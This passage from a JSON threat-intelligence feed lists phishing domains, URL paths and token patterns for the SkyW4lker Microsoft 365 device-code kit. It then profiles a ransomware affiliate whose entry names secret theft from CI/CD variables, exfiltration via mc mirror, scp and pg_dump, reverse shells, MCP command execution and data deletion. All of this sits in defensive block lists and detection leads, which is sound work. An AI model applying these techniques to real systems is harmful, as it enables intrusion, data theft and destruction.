"ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "outlookdrive.microsoftonline.common.oauth2.client.buycerm.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker Microsoft-themed phishing hostname. The parent domain was not added, because it may be a real organisation.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "pdlhaelth.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "priorispace.biz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "psionicsandhorses.net", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "reauth.copilot.auth.outlook.mcloud365.buycerm.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker Microsoft-themed phishing hostname. The parent domain was not added, because it may be a real organisation.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "reauth.docs.copilot.auth02.outlook.mcloud365.argentventuras.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker Microsoft-themed phishing hostname. The parent domain was not added, because it may be a real organisation.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "rektham.online", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "rustlnsurance.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "seatacsmarine.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "slybee.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "solutions00fileptroduct.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "stellarntis-fs.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "studeseliamechan.link", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "sunraycontractlng.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "sunstateaquips.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "swiftii.chickenkiller.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker phishing-kit host on a public dynamic-DNS service. Alert on this FQDN only; do not block the parent dynamic-DNS domain.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "thepaybank.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "torvion.life", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "unitadrentals.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "us-agricultures.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "vasquezmyth.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "/assets/php/endpoints/session_public.php", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker PHP backend used with action=start (session registration) and action=poll (device-code status). Hunt in proxy and web logs.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "/assets/js/client_geo.js", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker JavaScript module that geolocates the visitor. Shared with the Gabagool kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "/assets/js/endpoint.js", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker JavaScript module that logs session state and credentials to the PHP backend. Shared with Gabagool.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "/assets/js/url_helper.js", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker JavaScript URL-helper module. Shared with the Gabagool kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "/assets/php/endpoints/confirm_visit.php", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker visit-confirmation endpoint, also used by Gabagool.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "/assets/private_captcha/public/widget.js", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "Self-hosted CAPTCHA widget SkyW4lker places in front of the phishing page.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "/assets/php/endpoints/private_captcha_challenge.php", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "Self-hosted CAPTCHA challenge endpoint used by the SkyW4lker kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "it[A-Za-z0-9]{32}us", "type": "other", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker landing-page token in use from 10 August 2026, often as a URL path //it<32 alphanumeric>us, sometimes ending with ? or ??.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "zt[A-Za-z0-9]{32}op", "type": "other", "confidence": "med", "recommended_action": "alert", "description": "Earlier SkyW4lker landing-page token, seen from 25 June to 28 September 2026 as a URL path //zt<32 alphanumeric>op.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "9aa0b87974b9b4cd42603833b7ad44257578467d279b315a071108a5ed02c268", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "SHA256 of a password-protected PDF lure used to deliver a SkyW4lker phishing link, cited as an example by ANY.RUN.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "copilots.outlook.cloud.microsoft.andersonelevators.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker Microsoft-themed phishing hostname. The parent domain was not added, because it may be a real organisation.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/SkyW4lker-Microsoft-365-Device-Code-Phishing/hunt.kql", "download": "SkyW4lker-Microsoft-365-Device-Code-Phishing_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/SkyW4lker-Microsoft-365-Device-Code-Phishing/hunt.spl", "download": "SkyW4lker-Microsoft-365-Device-Code-Phishing_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/SkyW4lker-Microsoft-365-Device-Code-Phishing/hunt_raw.spl", "download": "SkyW4lker-Microsoft-365-Device-Code-Phishing_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/SkyW4lker-Microsoft-365-Device-Code-Phishing/hunt.yaral", "download": "SkyW4lker-Microsoft-365-Device-Code-Phishing_hunt.yaral" } ] }, { "id": "Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft", "folder": "threats/2026-11_November-2026/2026-11-11/Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft", "name": "Gentlemen Ransomware Affiliate Azazel: CI/CD Secret Theft, LEAKNED Extortion and MCP Command Execution", "short": "Gentlemen affiliate Azazel (LEAKNED)", "category": "Ransomware / data theft and extortion", "published": "2026-10-05", "entry_date": "2026-11-11 10:21", "last_updated": "2026-11-11", "seq": 15, "headline": "Gentlemen ransomware affiliate stealing CI/CD secrets and leaking victims on its own LEAKNED site", "summary": "CloudSEK traced an exposed open directory and storage server to Azazel, a Russian-speaking affiliate of The Gentlemen ransomware-as-a-service operation, and confirmed more than two dozen breached organisations in six countries across logistics, insurance, pharmaceuticals, medical devices, AI and government-linked services. Azazel used The Gentlemen's tooling and ransom note template but published victims on his own leak site, LEAKNED, and kept the proceeds; Bitdefender's November 2026 debrief reports more than 6 TB of stolen data. Most victims were reached through secrets harvested from GitLab CI/CD variables and repository history (database passwords, API tokens and SSH keys), and one AI platform was entered through a server-side URL fetch (SSRF). Data left through aws s3 sync, mc mirror, scp, pg_dump and HTTP POST to port 9999 on the C2 server, then moved to MEGA. After exfiltration Azazel killed a production PostgreSQL process and deleted its data directory, and planted ransom notes on eight surfaces, including /etc/motd, the SSH banner and ATTENTION_SENSITIVE_INFORMATION.txt in the root and ubuntu home directories. He also ran commands through exec_in_session, a Model Context Protocol (MCP) tool served on 127.0.0.1:35367, and scanned the internet for exposed MCP servers.", "caveat": null, "targets": { "countries": [], "regions": [], "sectors": [ "Logistics", "Insurance", "Pharmaceuticals", "Medical devices", "Technology", "Government" ], "note": "CloudSEK confirmed more than two dozen breached organisations in six countries but does not name the countries. Sectors are those CloudSEK lists; the government entry is a platform hosting a government-linked financial registry.", "source": { "url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "label": "CloudSEK – Caught in 4K: The Gentlemen Files", "name": "CloudSEK" } }, "mitre": [ { "id": "T1552.001", "name": "Credentials In Files", "url": "https://attack.mitre.org/techniques/T1552/001/" }, { "id": "T1213.003", "name": "Code Repositories", "url": "https://attack.mitre.org/techniques/T1213/003/" }, { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1021.004", "name": "SSH", "url": "https://attack.mitre.org/techniques/T1021/004/" }, { "id": "T1059.004", "name": "Unix Shell", "url": "https://attack.mitre.org/techniques/T1059/004/" }, { "id": "T1110.002", "name": "Password Cracking", "url": "https://attack.mitre.org/techniques/T1110/002/" }, { "id": "T1567.002", "name": "Exfiltration to Cloud Storage", "url": "https://attack.mitre.org/techniques/T1567/002/" }, { "id": "T1485", "name": "Data Destruction", "url": "https://attack.mitre.org/techniques/T1485/" }, { "id": "T1491.001", "name": "Internal Defacement", "url": "https://attack.mitre.org/techniques/T1491/001/" } ], "recommended_actions": [ "Block 23.236.169.183, 162.220.163.26 and 66.179.30.155 at the perimeter and in Defender XDR, and search 90 days of firewall, NetFlow and GitLab access logs for them, including SSH and outbound HTTP to port 9999.", "Rotate every secret held in GitLab CI/CD variables and in repository history (database passwords, API tokens, SSH keys and cloud keys), make variables masked and protected, and review CI/CD variable reads and API token use from unexpected addresses.", "Search Linux servers for ATTENTION_SENSITIVE_INFORMATION.txt in the root and ubuntu home directories, and for changes to /etc/motd, the sshd_config Banner setting, the PostgreSQL cluster_name and the pgAdmin login template; also check GitLab for README edits or issues opened with a pipeline token.", "Alert on mc mirror, aws s3 sync, pg_dump or mega-cmd-server runs to destinations you do not own, keep any MCP server bound to loopback with an approved client allowlist, and alert on MCP clients named internet-census-mcp-scanner." ], "sources": [ { "url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "label": "CloudSEK – Caught in 4K: The Gentlemen Files", "name": "CloudSEK" }, { "url": "https://www.bitdefender.com/en-us/blog/businessinsights/bitdefender-threat-debrief-november-2026", "label": "Bitdefender – Threat Debrief November 2026", "name": "Bitdefender" } ], "indicator_count": 9, "block_now_count": 3, "hunt_count": 6, "hunt_counts": { "alert": 5, "monitor": 1 }, "indicator_counts": { "ipv4": 5, "other": 2, "domain": 1, "filename": 1 }, "ioas": [ { "artefact": "mc mirror (MinIO Client) copying a bucket to a remote destination you do not own", "log_source": "Linux process events, MinIO audit logs", "why": "Azazel mirrored a victim's object storage to his staging server continuously with retry logic; CloudSEK published a Sigma rule for it.", "action": "alert", "has_query": true, "source_url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "source_name": "CloudSEK", "title": "Object storage mirrored out with the MinIO client", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Bulk reads of GitLab CI/CD variables, project exports or repository clones by a token from an unfamiliar address", "log_source": "GitLab audit events and API logs", "why": "Every non-AI victim was reached through secrets harvested from GitLab CI/CD variables and repository history using glato, nord-stream, gitlab-secrets, gitlab-watchman and gitleaks.", "action": "hunt", "has_query": false, "source_url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "source_name": "CloudSEK", "title": "Bulk reads of GitLab CI/CD secrets", "queries": [] }, { "artefact": "Ransom notes written to /etc/motd, the sshd_config Banner, the PostgreSQL cluster_name, the pgAdmin login template, a GitLab README or a new GitLab issue", "log_source": "Linux file integrity monitoring, GitLab audit events, PostgreSQL logs", "why": "Azazel's va.py checked notes on eight surfaces across six hosts, including ATTENTION_SENSITIVE_INFORMATION.txt in the root and ubuntu home directories.", "action": "alert", "has_query": true, "source_url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "source_name": "CloudSEK", "title": "Ransom notes planted on server surfaces", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "PostgreSQL process killed and its data directory deleted shortly after large pg_dump or scp transfers", "log_source": "Linux process events, PostgreSQL logs", "why": "After exfiltrating a government-linked financial registry, Azazel ran a script that killed the live PostgreSQL process and deleted the production data directory.", "action": "alert", "has_query": false, "source_url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "source_name": "CloudSEK", "title": "PostgreSQL killed and wiped after exfiltration", "queries": [] }, { "artefact": "MCP server listening beyond loopback, or MCP initialize requests from clients named internet-census-mcp-scanner or hermes", "log_source": "MCP server logs, reverse proxy logs, network listeners", "why": "Azazel ran commands through an MCP exec_in_session tool and scanned the internet for exposed MCP ports.", "action": "hunt", "has_query": false, "source_url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "source_name": "CloudSEK", "title": "Exposed MCP server or MCP scanner clients", "queries": [ "SPL" ] }, { "artefact": "Large uploads from servers to MEGA (mega-cmd-server) or HTTP POSTs to port 9999 on unfamiliar hosts", "log_source": "Firewall, proxy and NetFlow logs, EDR network events", "why": "Stolen data went from victims to the C2 box by HTTP POST to port 9999, then to MEGA via mega-cmd-server.", "action": "hunt", "has_query": false, "source_url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "source_name": "CloudSEK", "title": "Large uploads to MEGA or to port 9999", "queries": [ "SPL" ] } ], "ioa_count": 6, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft/block_now.txt", "download": "Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft/defender_xdr_indicators.csv", "download": "Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft/hunt.kql", "download": "Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft/hunt.spl", "download": "Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft/hunt_raw.spl", "download": "Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft/hunt.yaral", "download": "Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft/iocs.csv", "download": "Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-11/Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft", "share_url": "https://iocwatch.com/t/Gentlemen-Affiliate-Azazel-LEAKNED-CICD-Secret-Theft/", "indicators": [ { "value": "23.236.169.183", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Azazel's victim-facing command-and-control server: Penelope reverse shell sessions, an HTTP upload listener on port 9999 receiving stolen data, and the open directory on port 8000 that exposed the operation.", "source_url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "source_label": "CloudSEK – Caught in 4K: The Gentlemen Files", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "name": "CloudSEK" } ] }, { "value": "162.220.163.26", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Azazel's staging server, nicknamed forgitlab, which held operational scripts, per-victim working directories and live exfiltration jobs, including a continuous mirror of one victim's object storage.", "source_url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "source_label": "CloudSEK – Caught in 4K: The Gentlemen Files", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "name": "CloudSEK" } ] }, { "value": "66.179.30.155", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Azazel's novostnik server, which hosts the LEAKNED leak site front end and a long-term archive of stolen data.", "source_url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "source_label": "CloudSEK – Caught in 4K: The Gentlemen Files", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/caught-in-4k-the-gentlemen-files", "name": "CloudSEK" } ] }, { "value": "141.95.252.30", "type": "ipv4", "confidence": "med", 